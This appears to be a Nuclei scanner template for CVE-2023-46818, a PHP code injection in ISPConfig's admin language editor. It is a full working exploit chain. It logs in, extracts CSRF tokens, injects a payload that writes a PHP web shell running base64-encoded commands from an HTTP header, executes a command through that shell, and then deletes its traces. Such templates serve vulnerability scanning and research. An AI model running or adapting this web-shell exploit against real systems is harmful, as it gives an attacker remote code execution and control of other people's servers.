144 lines
3.9 KiB
YAML
144 lines
3.9 KiB
YAML
id: CVE-2023-46818
|
|
|
|
info:
|
|
name: ISPConfig - PHP Code Injection
|
|
author: non-things
|
|
severity: high
|
|
description: |
|
|
An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
|
|
reference:
|
|
- https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
|
|
- http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
|
|
- http://seclists.org/fulldisclosure/2023/Dec/2
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-46818
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 7.2
|
|
cve-id: CVE-2023-46818
|
|
cwe-id: CWE-94
|
|
metadata:
|
|
verified: true
|
|
max-requests: 1
|
|
product: ispconfig
|
|
tags: cve,cve2023,ispconfig,php,rce
|
|
|
|
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)
|
|
|
|
variables:
|
|
lang-file: "{{rand_text_alpha(26)}}.lng"
|
|
websh-file: "{{rand_text_alphanumeric(32)}}.php"
|
|
websh: "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
|
|
websh-base64: "{{base64(websh)}}"
|
|
payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
|
|
payload-url-enc: "{{url_encode(payload)}}"
|
|
echo-cmd-hash: "{{rand_text_alphanumeric(32)}}"
|
|
echo-cmd: "echo {{echo-cmd-hash}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /login/index.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{username}}&password={{password}}&s_mod=login
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(header, "Set-Cookie")'
|
|
- 'status_code == 302'
|
|
condition: and
|
|
|
|
- raw:
|
|
- |
|
|
POST /admin/language_edit.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
lang=en&module=help&lang_file={{lang-file}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_all(response, "_csrf_id", "_csrf_key")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: lang_file_location
|
|
group: 1
|
|
regex:
|
|
- "<legend>Language file: (.*)</legend>"
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: csrf_id
|
|
group: 1
|
|
regex:
|
|
- "_csrf_id\" value=\"(.*)\" />"
|
|
internal: true
|
|
|
|
- type: regex
|
|
name: csrf_key
|
|
group: 1
|
|
regex:
|
|
- "_csrf_key\" value=\"(.*)\" />"
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
POST /admin/language_edit.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload-url-enc}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code == 200'
|
|
|
|
- raw:
|
|
- |
|
|
GET /admin/{{websh-file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
C: {{base64('§echo-cmd§')}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "{{echo-cmd-hash}}"
|
|
|
|
- raw:
|
|
- |
|
|
GET /admin/{{websh-file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
C: {{base64('rm §lang_file_location§')}}
|
|
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- raw:
|
|
- |
|
|
GET /admin/{{websh-file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
C: {{base64('rm §websh-file§')}}
|
|
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100b1477a1e39d3f98efffd283596a2a924a6381e8a6c7a640e99afc1128b907abd022100dac9d4a63ce04aed8df7a74d631dd9774ff4a6e4ee75579fced5cd3c0681d631:922c64590222798bb761d5b6d8e72950 |